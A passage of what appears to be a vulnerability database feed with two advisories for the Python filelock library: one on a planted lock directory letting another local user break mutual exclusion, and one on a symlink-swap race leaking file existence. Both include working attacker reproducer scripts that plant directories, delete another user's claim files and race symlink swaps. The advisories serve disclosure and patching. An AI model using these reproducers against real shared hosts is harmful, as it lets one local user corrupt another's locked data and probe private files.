it. The other user then owns the tree. They can unlink the lock user's claims while the lock user holds the lock, so a second process of the lock user, root included, enters the same critical section and neither process sees an error.\n\nAgainst `SoftReadWriteLock` the same position also admits two writers with `on_compromise` silent. It redirects the lock user's own creates and renames into a directory the other user picks (the scanner replaced a repository's `.git/HEAD` with a filelock record written with the lock user's privileges). It also keeps the lock user's acquire or release running past any `timeout`. Affected versions are filelock 3.30.0 through 4.2.0 (finding `ANT-2026-Q5VK5JEE`).\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 6.3 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the other user must create the protocol directory before the lock user's first acquire on that path. That depends on the path being new, or on a reboot, a tmp cleaner or the documented `<path>.rw` recovery having removed its tree; once planted, the rest needs no race. `I:H` (high integrity impact): two holders write whatever the lock protects, and for `SoftReadWriteLock` the lock user's process creates, replaces or deletes files named `HEAD`, `epoch` and `0000000000000000000N` in any directory the lock user can write. `A:H` (high availability impact): the owner of `<path>.rw` can make the lock user's `read_lock(timeout=1)` spin at full CPU without end, cost 22 s per acquire, or pin 1 MiB of memory per planted file until a heartbeat thread dies of `MemoryError`. `C:N` (no confidentiality impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional** on the other user winning initial ownership of the protocol directory. The scanner rated it high (CWE-283). With `AC:L` the same impacts would score 7.1.\n\n## Scope and preconditions\n\n- The other user can create names in the directory that holds the lock. In a sticky `1777` directory such as `/tmp` any local user can. The sticky bit stops that user from renaming or removing a directory the lock user created, but does nothing for one the other user created first.\n- The other user gets there first: `<path>.filelock` (strict) or `<path>.rw` (soft read-write) must not exist when the lock user's process first acquires. `_strict.py` does not remove the directory at any point, so a path the lock user has already used stays safe for as long as the tree exists. The exposure is a new lock path, or one whose tree a reboot, a tmp cleaner, a cache purge or the recovery described in `docs/how-to.rst` removed.\n- For the strict lock the planted directory must be writable by the lock user (`0777`); a planted `0755` directory makes the lock user's acquire fail with `PermissionError` instead. Planting only the outer `<path>.filelock` is enough. The lock user creates `claims` inside it, and the other user, as owner of the parent, renames that `claims` aside and creates an empty one.\n- The Linux `fs.protected_regular`, `fs.protected_symlinks`, `fs.protected_hardlinks` and `fs.protected_fifos` sysctls (kernel settings, all enabled in the scanner's image) do not interfere. They cover regular files, symlinks, hard links and FIFOs, not directories. The `SoftReadWriteLock` symlink redirect below also passes `fs.protected_symlinks=1`, because the symlink (a file that points at another path) sits in the other user's own non-sticky directory.\n- The affected classes are `StrictSoftFileLock` and `AsyncStrictSoftFileLock` (which inherits `_acquire`), and `SoftReadWriteLock` and `AsyncSoftReadWriteLock` with default options. `FileLock` gives way to the same position (when the other user creates the lock file first with mode `0666` and unlinks it during a hold, a second lock user process acquires), so the strict lock is not weaker than the native one here. This advisory reports it because `StrictSoftFileLock` is the lock documented as fail-closed and already raises `SoftFileLockProtocolError` for a symlink or a regular file at the same names, while it uses a directory that belongs to someone else without any signal. The `SoftReadWriteLock` half has no such counterpart: its redirected creates, renames and unlinks land outside the lock's own files.\n- A non-sticky directory writable by other users is outside the boundary below. There anyone who can create the directory can also rename the lock user's own tree aside, and no check inside the lock can tell that from a first use.\n\nThese protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n\n## Affected code\n\nAt the scanned commit b831496: [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L1006) returns for any existing real directory, whatever its owner or mode. [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L127-L128) calls it for both levels and does not look at directory ownership again. [`_attempt_doorway`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L179-L181) decides from the claim scan alone, and [`_unlink_owner_path_result`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L896-L900) counts a missing claim as removed on release. The sibling site is [`OsFiles.prepare`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L121-L133). Its `mkdir(mode=0o700)` takes effect only when it creates the directory, and its `lstat` check reads neither `st_uid` nor the permission bits. It runs once per instance, and every later `OsFiles` method takes a full path, with `O_NOFOLLOW` guarding only the last component.\n\n## Introduced\n\nThe strict site came with the claims protocol in 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. The `SoftReadWriteLock` site came with the `<path>.rw` tree itself in f9743288a288 (\"fix(soft-rw): replace the state mutex with a generation log\", #738, 2026-09-17), first released in 4.0.0. Both match the git tags; the advisory range starts at the earlier one.\n\n## Mechanism\n\nThe owner of a directory can unlink and rename every entry in it, whatever the entries' own owner and mode. A strict hold consists of two names, `intent-v1-<token>.claim` and `held-v1-<token>.claim`, in `<path>.filelock/claims`. The sentinel (the lock file at `<path>`) is permanent and says nothing about who holds. When the other user runs the equivalent of `mkdir -m 777 -p work.lock.filelock/claims` before the lock user first uses `work.lock`, every lock user acquire publishes its claims into a directory the other user can empty. Lock user process A acquires and holds. The other user unlinks both of A's claims; both `unlink` calls succeed, because write permission on the directory is enough.\n\nLock user process B calls `acquire()` while A is inside its critical section. `_attempt_doorway` starts with `if _read_existing_claims(...): return False`, which turns a contender away while a holder exists, but the scan is now empty. B publishes its own intent and held claims, sees only those in the later rescans, and wins.\n\nA is not told. A strict holder does not look at its claims between acquire and release, and on release `_unlink_owner_path_result` takes the `FileNotFoundError` for each missing claim as \"already removed\", so `_release` finishes without error. The break involves neither a `lifetime` nor a lease, and neither `break_lock()` nor `force_break()`. The benign path shows what the check is missing. When the lock user's first acquire creates the directories itself they are `0755` and owned by the lock user (umask `022`). The other user's `unlink` then fails with `EACCES`, its `rename` or `rmdir` of `work.lock.filelock` fails with `EPERM` under the sticky bit, and B raises `Timeout`.\n\n`OsFiles.prepare` has the same gap for `SoftReadWriteLock`. The code suppresses `EEXIST` from `mkdir(mode=0o700)`, and the check that follows looks only at `S_ISDIR` and `S_ISLNK`. The class docstring's protection against \"same-host different-UID users via `0o600` / `0o700` permissions\" therefore holds only for whoever gets there first. With the other user owning `/tmp/app.lock.rw`, `gen` and `holders` before the lock user first uses `SoftReadWriteLock(\"/tmp/app.lock\")`, the scanner observed the following, with the same two accounts.\n\n**Creates and renames redirected through a symlink.** The other user's tree holds a generation log (the record of who holds the lock, under `gen/`) naming a live writer, so the lock user polls. Once the lock user's record appears in `holders/` (its `prepare()` is over), the other user renames `gen` aside and puts a symlink to `/home/victim/project/.git`, a repository inside a `0700` directory, in its place. The lock user's `write_lock()` returns without error. By then `GenerationLog.commit()` has created `epoch`, `00000000000000000001` and `00000000000000000002` in `.git` and renamed a record over `.git/HEAD`, which now reads `<epoch>\\nfilelock-rw/1\\ngeneration=2\\n`, owned by the lock user; `git status` answers `fatal: not a git repository`. With `holders` swapped instead, `Participant._sweep()` unlinks files with 32-hex-digit names in the target directory once they have stayed unchanged for `stale_threshold`. This needs no race: every later acquisition on an instance that has passed `prepare()` goes through the swapped `gen`.\n\n**Two writers, no `on_compromise`.** `OsFiles.read()` accepts any regular file, so the owner of `gen` writes snapshots itself. While lock user process V1 is inside `write_lock()`, the other user creates the next `gen/<N>` naming no holder, and V2's `write_lock(timeout=2)` succeeds at once. A further forged generation naming both tokens keeps both heartbeats answering `ok`, because `Participant.heartbeat()` tests only `self.token in latest.members`; `compromise` was still `None` in both after the default 30 s heartbeat. The other user reads no lock user record at any point: listing `gen/` and `holders/` gives the generation and the tokens.\n\n**Hangs, memory growth and bare `OSError`s.** The protocol code treats every record in `gen/` and `holders/` as written by a cooperating peer, so the tree's owner can do several things. They can make `Participant.leave()` retry a refused commit without end (`read_lock(timeout=1)` spins at full CPU instead of raising `Timeout`). They can keep `GenerationLog._probe()` walking by appending records ahead of it (3 s of writes kept `read_lock(timeout=1)` busy for about 60 s). They can make every `acquire_write(timeout=1)` and `release()` on a free lock take about 22 s with 200 000 generation names hard-linked into a sticky `gen/` (a hard link is a second name for the same file), which `_list()` and `_compact_through()` walk again on each poll because `OsFiles.unlink()` swallows the `EPERM`.\n\nThey can also pin 1 MiB of the lock user's memory per sparse file planted in `holders/`, because `Ledger.observe()` keeps every swept record whole (2 000 hard links to one 1 MiB file: 2 028 MiB resident when `acquire_write()` returns). Under an address-space limit the sweep raises `MemoryError` inside the heartbeat thread, which nothing handles, so the record is not refreshed again. After `stale_threshold` a second lock user process gets the write lock while the first still has `compromise` `None`. And they can make every acquire of a free lock raise a bare `OSError` with a mode-`000` orphan in `holders/` or a symlink at `gen/HEAD`. None of these is reachable in a tree the lock user created itself: it is `0700` at all three levels and the other user's writes fail with `EACCES`.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-Q5VK5JEE`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport subprocess\nimport sys\nimport tempfile\n\n# the companions are passed with -c, so victim and attacker need no read access to /tmp/repro.d\nvictim_worker = open(\"/tmp/repro.d/victim_worker.py\").read()\nattacker_plant_directory = open(\"/tmp/repro.d/attacker_plant_directory.py\").read()\nattacker_remove_claims = open(\"/tmp/repro.d/attacker_remove_claims.py\").read()\nas_victim = [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"-c\", victim_worker]\nas_attacker = [\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, \"-c\"]\n\n\ndef two_victims_contend_while_attacker_removes_claims(lock_path):\n    claims = f\"{lock_path}.filelock/claims\"\n    first = subprocess.Popen([*as_victim, lock_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)\n    first_lines = [first.stdout.readline().strip()]\n    claims_owner = pwd.getpwuid(os.stat(claims).st_uid).pw_name\n\n    removal = subprocess.run([*as_attacker, attacker_remove_claims, lock_path], check=True, capture_output=True, text=True)\n\n    # the first process has not been sent its line yet: it is still inside its critical section\n    second = subprocess.Popen([*as_victim, lock_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)\n    second_lines = [second.stdout.readline().strip()]\n\n    second_lines += second.communicate(\"\\n\")[0].split()\n    first_lines += first.communicate(\"\\n\")[0].split()\n    print(f\"  {claims} is owned by {claims_owner}\")\n    print(f\"  attacker, while the first victim process holds the lock: {'; '.join(removal.stdout.splitlines())}\")\n    print(f\"  first victim process: {first_lines}\")\n    print(f\"  second victim process, started while the first is inside: {second_lines}\")\n    return first_lines, second_lines\n\n\n# set up: a root-owned, sticky, world-writable directory, like /tmp itself\nshared = tempfile.mkdtemp(prefix=\"shared-\", dir=\"/tmp\")\nos.chmod(shared, 0o1777)\n\n# control: the victim's first acquire creates control.lock.filelock/claims itself\nprint(\"CONTROL  victim creates the protocol directories\")\n_, control_second = two_victims_contend_while_attacker_removes_claims(f\"{shared}/control.lock\")\n\n# attack: the attacker creates work.lock.filelock/claims before the victim first uses work.lock\nprint(\"OBSERVED attacker creates the protocol directories first\")\nsubprocess.run([*as_attacker, attacker_plant_directory, f\"{shared}/work.lock\"], check=True)\nfirst, second = two_victims_contend_while_attacker_removes_claims(f\"{shared}/work.lock\")\n\n# check: the second process must be kept out while the first is inside, as it is in the control round\ninside_and_released_cleanly = [\"acquired\", \"is_locked=True\", \"released\"]\ncontrol_excludes = control_second == [\"Timeout\"]\nboth_inside = first == second == inside_and_released_cleanly\nprint(f\"control_excludes={control_excludes} both_inside={both_inside}\")\nprint(\"BUG\" if control_excludes and both_inside else \"OK\")\n```\n\n**`repro.d/attacker_plant_directory.py`**\n\n```python\nimport os\nimport sys\n\nos.umask(0)  # 0777: the victim must be able to publish its claims inside\nos.makedirs(f\"{sys.argv[1]}.filelock/claims\")\n```\n\n**`repro.d/attacker_remove_claims.py`**\n\n```python\nimport os\nimport sys\n\nclaims = f\"{sys.argv[1]}.filelock/claims\"\nfor name in sorted(os.listdir(claims)):\n    try:\n        os.unlink(f\"{claims}/{name}\")\n        print(f\"removed {name}\")\n    except PermissionError as error:\n        print(f\"cannot remove {name}: {error.strerror}\")\n```\n\n**`repro.d/victim_worker.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftFileLockProtocolError, StrictSoftFileLock, Timeout\n\nlock = StrictSoftFileLock(sys.argv[1], timeout=1)\ntry:\n    lock.acquire()\nexcept (Timeout, SoftFileLockProtocolError) as error:\n    print(type(error).__name__, flush=True)\n    sys.exit()\nprint(\"acquired\", flush=True)\n\nsys.stdin.readline()  # the critical section: it lasts until the parent sends a line\n\nprint(f\"is_locked={lock.is_locked}\", flush=True)\nlock.release()\nprint(\"released\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other account (uid attacker)\n    participant D as work.lock.filelock/claims (sticky /tmp)\n    participant A as holder A (uid victim)\n    participant B as contender B (uid victim)\n    rect rgb(255, 214, 214)\n        X->>D: mkdir -m 777 -p, before the lock user's first use\n        A->>D: acquire(): directory exists, is a directory, adopted\n        A->>D: publish intent-v1-<token>.claim and held-v1-<token>.claim\n        X->>D: unlink both claims (owner of the directory may)\n        B->>D: acquire(): scan finds no claims, publishes its own, wins\n        Note over A,B: both inside, is_locked True in both\n        A->>D: release(): claims missing, counted as removed, no error\n    end\n    Note over A,D: control: directory created by the lock user is 0755, the other account's unlink gets EACCES, B raises Timeout\n```\n\n## Evidence\n\nThe scanner's reproducer (`victim` uid 1000, `attacker` uid 1001, lock `work.lock` in a root-owned `1777` directory under `/tmp`, `StrictSoftFileLock(path, timeout=1)`, Linux 6.1, CPython 3.14.8, overlayfs) runs the same contention twice. In the control round on `control.lock`, whose directories `victim` creates, it prints `claims is owned by victim`, the unlinks by `attacker` answer `Permission denied`, the first process prints `['acquired', 'is_locked=True', 'released']` and the second `['Timeout']`. In the observed round on `work.lock`, planted by `attacker`, it prints `claims is owned by attacker` and `removed held-v1-….claim; removed intent-v1-….claim`, and both processes print `['acquired', 'is_locked=True', 'released']`, the second having acquired before the first was let out. The verdict line reads `control_excludes=True both_inside=True` and then `BUG` after about 2 s. The scanner ran the variant that plants only the outer `<path>.filelock` (then renames the `claims` of `victim` aside) by hand with the same result, and each `SoftReadWriteLock` effect listed under Mechanism in its own run with the same two accounts.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`). The review's regression tests for both sites need a sticky `/tmp` of another UID and ran there.\n\n## Impact\n\nAnother local user who can create names in the lock's directory puts two processes of the lock user, root included, into the same `StrictSoftFileLock` critical section at a moment of the other user's choosing, with no exception or other signal to either. Two processes then modify whatever the lock protects at the same time.\n\nAgainst `SoftReadWriteLock` the same position decides when two writers, or a writer and readers, are inside together and keeps `compromise` silent in all of them. It also gets file operations made with the lock user's privileges (root's, for a root service) in any directory the lock user can write: a file named `HEAD` replaced, files named `epoch` and `0000000000000000000N` created, files with 32-hex-digit names deleted. The bytes written are filelock's own records, not content the other user chooses. It can keep the lock user's acquire or release running past any `timeout`, or grow the lock user's memory by 1 MiB per planted file. It is **not** a disclosure of the lock user's data, and it does not reach a path the lock user has already used while that tree still exists.\n\n## Workarounds\n\nKeep strict and soft read-write locks in a directory other users cannot write, rather than `/tmp` or another sticky shared directory. Where a shared directory is unavoidable, create `<path>.filelock/claims` (or `<path>.rw` with `gen` and `holders`) as the service user before any other account can, for example at install or boot, and check `stat -c %U` of an existing tree before the first use. A tmp cleaner, a reboot or the `<path>.rw` recovery removes the tree and reopens the window. The kernel refuses a planted `0755` strict tree (the lock user's acquire fails with `PermissionError`), so an acquire that raises that error on a new path without a known cause is worth investigating.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-Q5VK5JEE`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory; later narrowed to this finding, with `ANT-2026-AD6SUOON`, `ANT-2026-SVFEYX89`, `ANT-2026-M9OPCLPB` and `ANT-2026-6BC3LKF9` moved to advisories of their own\n- 2026-10-16 01:31 UTC: fix PR #839 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-9c4x-gm8v-wgc4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112911"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/839"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112912","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-9j6q-wvj5-jgjg","CVE-2026-112912"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.9.0"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: Symlink swap during SoftFileLock's writability check leaks whether a path exists and is writable by the lock taker","details":"`raise_on_not_writable_file()` is the check that `SoftFileLock` and the locks sharing its acquire path run before every attempt. It looks at the lock path with `os.lstat`, so that it judges a planted symlink (a file that points at another path) by itself. When the node has no owner-write bit, it then calls `os.access(filename, os.W_OK)`, which follows symlinks. A local user who can create entries in the lock's directory can swap the path between a mode-`0466` file and a symlink to a path of their choosing. The second call then reports on the symlink's target with the permissions of the user running the lock (below: the lock user). The lock user's `acquire()` ends in `PermissionError` within a fraction of a second when the target is missing or not writable by the lock user, and in the ordinary `Timeout` otherwise.\n\nThat yields one bit per watched acquire. The bit says whether a path exists and is writable by the lock taker. It covers paths under directories the other user cannot search, or any path when root takes the lock. The lock does not open, create or modify anything through the symlink. On Linux, `fs.protected_symlinks` (a kernel setting that refuses to follow another user's symlink in a sticky world-writable directory) blocks it in a directory such as `/tmp`. It does not block it in a `0777` directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it) or in a sticky group-writable one. This reopens the leak PR #567 closed. Affected versions are filelock 3.32.6 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private. Finding covered by this advisory:\n\n- `ANT-2026-RQ91AXTW` [medium, CWE-59]: Symlink TOCTOU in raise_on_not_writable_file leaks file existence.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N` scores 2.5 (Low).**\n\n`AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the swap has to land between two system calls a few bytecodes apart (6 to 12 % of back-to-back acquires with the other user on a second CPU, 1 in 8 000 on one CPU), and the other user has to observe how the lock user's acquire ended. `C:L` (partial confidentiality impact): one bit per acquire (existence or writability of a chosen path), no content. `I:N` and `A:N` (no integrity or availability impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional**, \"a one-bit probe of a victim-only path\" that \"Linux protected symlinks block in the common sticky `/tmp` case, but not every shared directory\". The scanner rated this medium. The maintainers score it low for the complexity and the one-bit yield.\n\n## Scope and preconditions\n\n- The affected classes are `SoftFileLock` and everything that reuses its `_acquire`: `MarkerSoftFileLock`, `SoftFileLease`, the async soft locks, and `FileLock` after an `ENOSYS` fallback to a soft lock. `UnixFileLock` itself does not call the helper. `WindowsFileLock._acquire()` does, but on Windows `os.access` reads the link's own read-only attribute and does not follow it; that branch did not run.\n- The other user must be able to create entries in the lock's directory. With Linux defaults (`fs.protected_symlinks=1`) the kernel refuses the lock user's attempt to follow another user's symlink in a directory that is both sticky and world-writable. `/tmp` therefore gives `PermissionError` for every target and leaks nothing. A `0777` directory without the sticky bit, or a sticky group-writable one (`1770` with a shared group), has no such cover and leaks as described. macOS and the BSDs have no `fs.protected_symlinks`, and a symlink there has mode bits of its own, so one without the owner-write bit would reach `os.access` with no swap at all (not executed).\n- The swap is practical only with a second CPU for the other user.\n- The other user needs to see how the lock user's acquire ended, for example the exception in a shared log, an exit status, or when the job stopped (`PermissionError` ends a blocking acquire within about a second; the other case runs to its timeout). The scanner also observed a variant that needs no output from the lock user. Hold the soft lock, set the marker (the lock file whose presence says a process holds the lock) to mode `0o066`, swap the symlink in and out for a few seconds, release, and see whether a marker owned by the other uid appears. A contender still waiting takes the lock; one that raised is gone.\n- The `O_NOFOLLOW` open that follows the check is not affected. The lock does not read, create or modify anything through the symlink.\n\n## Affected code\n\nScanned commit `b831496b0273`: in `raise_on_not_writable_file`, the [`os.lstat` that states the invariant](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L46-L50) and the [`os.access` call that follows symlinks](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L63-L71); the [call from `SoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L63) at the start of every poll.\n\n## Introduced\n\n[f2f7b86](https://github.com/tox-dev/filelock/commit/f2f7b8696426) \"fix: respect ACL write access when the owner write bit is absent\" ([#728](https://github.com/tox-dev/filelock/pull/728), 2026-09-08), first tag 3.32.6 (verified), appended the `os.access` call to the `not S_IWUSR` test. [#567](https://github.com/tox-dev/filelock/pull/567) (022394c, first tag 3.29.5) had changed the helper from `os.stat` to `os.lstat` so that a symlink planted at the lock path could not probe its target.\n\n## Mechanism\n\n`SoftFileLock._acquire` calls the helper first, once per `poll_interval` (0.05 s by default) for as long as the lock user waits. The helper runs `os.lstat(path)`. When the node has no `S_IWUSR` it runs `os.access(path, os.W_OK, effective_ids=...)` without `follow_symlinks=False`. On current Linux that is `faccessat2(AT_FDCWD, path, W_OK, AT_EACCESS)`, which resolves a symlink. If that returns false, a second `os.lstat` confirms a node is still there and the helper raises `PermissionError`. The other user's planted file has mode `0466`: no owner-write bit, which sends the helper on to `os.access`, and other-writable, so that `os.access` on the file itself says yes. The other user alternates the file and a symlink at the path (`os.replace` of a fresh symlink, then `os.replace` of a hard link to the marker; the lock would evict a symlink left for 2 s as a malformed marker).\n\nOne call of the helper then goes one of three ways. First, `lstat` sees the symlink (mode `0777` on Linux, `S_IWUSR` set), `os.access` is not called, the helper returns. Second, `lstat` sees the file and `os.access` sees the file: true, returns. Third, `lstat` sees the file and `os.access` sees the symlink, resolved to its target with the lock user's permissions: returns if the lock user may write the target, otherwise raises `PermissionError`. After a return, the `O_CREAT | O_EXCL | O_NOFOLLOW` open fails with `EEXIST` and the poll ends as \"lock is held\". `PermissionError` therefore comes only from the third way and only for a target the lock user cannot write, and it leaves `acquire()` at once instead of after the timeout.\n\nThe scanner measured what the outcome encodes with 4 000 non-blocking acquires per target as `victim` (uid 1000, `0700` private directory). An existing file or directory of `victim`: 0 `PermissionError`. A missing name there gives 311 to 339. A `0444` file of `victim`: 433 to 460. `/etc/passwd` or `/etc/shadow`: 237 to 422. With root taking the lock the answer is plain existence, 0 for `/etc/shadow` and `/root/.bashrc`, 366 for a missing name under `/root`. A symlink alone at the path, without the swap, tells nothing (2 000 `Timeout` of 2 000 for both targets, then evicted as malformed after 2 s).\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-RQ91AXTW`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\n\nVICTIM_JOB = \"/tmp/repro.d/victim_job.py\"\nATTACKER = \"/tmp/repro.d/attacker_swaps_lock_path.py\"\nprivate_dir = \"/tmp/victim-private\"\nshared_dir = \"/tmp/team-locks\"\nlock_path = shared_dir + \"/app.lock\"\nas_victim = dict(user=\"victim\", group=\"victim\", extra_groups=[])\nas_attacker = dict(user=\"attacker\", group=\"attacker\", extra_groups=[])\n\nassert len(os.sched_getaffinity(0)) >= 2, \"the attacker's swap needs a CPU of its own\"\n\n# set up: victim's 0700 directory holds \"present\" and no \"absent\"\nshutil.rmtree(private_dir, ignore_errors=True)\nos.mkdir(private_dir, 0o700)\nopen(private_dir + \"/present\", \"w\").close()\nshutil.chown(private_dir + \"/present\", \"victim\", \"victim\")\nshutil.chown(private_dir, \"victim\", \"victim\")\n\njob_ended_with = {}\nfor name in (\"present\", \"absent\"):\n    probed_path = f\"{private_dir}/{name}\"\n    attackers_stat = subprocess.run([\"stat\", probed_path], capture_output=True, text=True, **as_attacker)\n    assert attackers_stat.returncode != 0, \"attacker can stat the probed path directly\"\n    print(f\"CONTROL  attacker's own look: {attackers_stat.stderr.strip()}\")\n\n    # 0777 without the sticky bit: fs.protected_symlinks does not cover it\n    shutil.rmtree(shared_dir, ignore_errors=True)\n    os.mkdir(shared_dir)\n    os.chmod(shared_dir, 0o777)\n\n    # attack: the lock path keeps alternating between a held marker and a symlink to probed_path\n    attacker = subprocess.Popen([sys.executable, ATTACKER, lock_path, probed_path], **as_attacker)\n    deadline = time.monotonic() + 10\n    while not os.path.lexists(lock_path):\n        assert time.monotonic() < deadline, \"attacker did not plant the lock path\"\n        time.sleep(0.01)\n\n    started = time.monotonic()\n    job = subprocess.run([sys.executable, VICTIM_JOB, lock_path], capture_output=True, text=True, **as_victim)\n    waited = time.monotonic() - started\n    attacker.kill()\n    attacker.wait()\n\n    job_ended_with[name] = (job.stderr or job.stdout).strip().splitlines()[-1]  # last line of the traceback\n    print(f\"OBSERVED {probed_path} exists={os.path.exists(probed_path)} (read as root); \"\n          f\"victim's job ended after {waited:.1f} s with: {job_ended_with[name]}\")\n\n# check: a lock that ignores the symlink's target ends both jobs in Timeout; here the ending tells the two apart\ntimeout_where_present = job_ended_with[\"present\"].startswith(\"filelock._error.Timeout:\")\npermission_error_where_absent = job_ended_with[\"absent\"].startswith(\"PermissionError:\")\nprint(\"BUG\" if timeout_where_present and permission_error_where_absent else \"OK\")\n```\n\n**`repro.d/attacker_swaps_lock_path.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport sys\nimport time\n\nlock_path, probed_path = sys.argv[1], sys.argv[2]\nheld_marker = lock_path + \".held\"\nstaged = lock_path + \".staged\"\n\nwith open(held_marker, \"w\") as marker:\n    marker.write(\"1\\nanother-host\\n\")  # pid 1 on another host: never judged stale, so the victim keeps polling\n# no u+w sends raise_on_not_writable_file() on to os.access(); o+w makes os.access() pass for this file itself\nos.chmod(held_marker, 0o466)\n\ngive_up_at = time.monotonic() + 60\nwhile time.monotonic() < give_up_at:\n    # a fresh symlink each round: one left unchanged for 2 s is evicted as a malformed marker\n    os.symlink(probed_path, staged)\n    os.replace(staged, lock_path)\n    os.link(held_marker, staged)\n    os.replace(staged, lock_path)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\n#!/usr/bin/env python3\nimport sys\n\nfrom filelock import SoftFileLock\n\nwith SoftFileLock(sys.argv[1], timeout=5):\n    print(\"working under the lock\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other account (second CPU)\n    participant L as app.lock in a 0777 non-sticky directory\n    participant V as lock user: SoftFileLock(path, timeout=5)\n    participant P as /home/victim/private (0700)\n    A->>L: plant 0466 marker naming pid 1 on another host (not stale at any time)\n    loop every few microseconds\n        A->>L: os.replace(fresh symlink -> /home/victim/private/absent)\n        A->>L: os.replace(hard link to the 0466 marker)\n    end\n    loop every poll_interval (0.05 s)\n        V->>L: os.lstat -> regular file, no S_IWUSR\n        rect rgb(255, 214, 214)\n            V->>L: os.access(path, W_OK) lands on the symlink\n            L->>P: resolved to /home/victim/private/absent with the lock user's permissions\n            P-->>V: False (missing)\n            V->>L: os.lstat -> a node is there\n            V->>V: raise PermissionError after 0.4 s instead of Timeout after 5 s\n        end\n    end\n    A->>A: the lock user's job ended early: the name does not exist (or is not writable by the lock user)\n```\n\n## Evidence\n\nThe scanner reproducer runs with `victim` uid 1000 owning `/tmp/victim-private` mode `0700` holding `present` and not `absent`; `attacker` uid 1001, no shared group; lock directory `/tmp/team-locks` root-owned `0777` without the sticky bit; `fs.protected_symlinks=1`; 2 CPUs; Linux 6.1, CPython 3.14.8. It printed `CONTROL attacker's own look: stat: cannot statx '/tmp/victim-private/present': Permission denied` and then `OBSERVED /tmp/victim-private/present exists=True (read as root); victim's job ended after 5.1 s with: filelock._error.Timeout ...`. For the other target it printed `CONTROL ... '/tmp/victim-private/absent': Permission denied` and `OBSERVED /tmp/victim-private/absent exists=False (read as root); victim's job ended after 0.4 s with: PermissionError: [Errno 13] Permission denied: '/tmp/team-locks/app.lock'`, then `BUG`. The verdict requires the job for `present` to end in `Timeout` and the job for `absent` in `PermissionError`. In 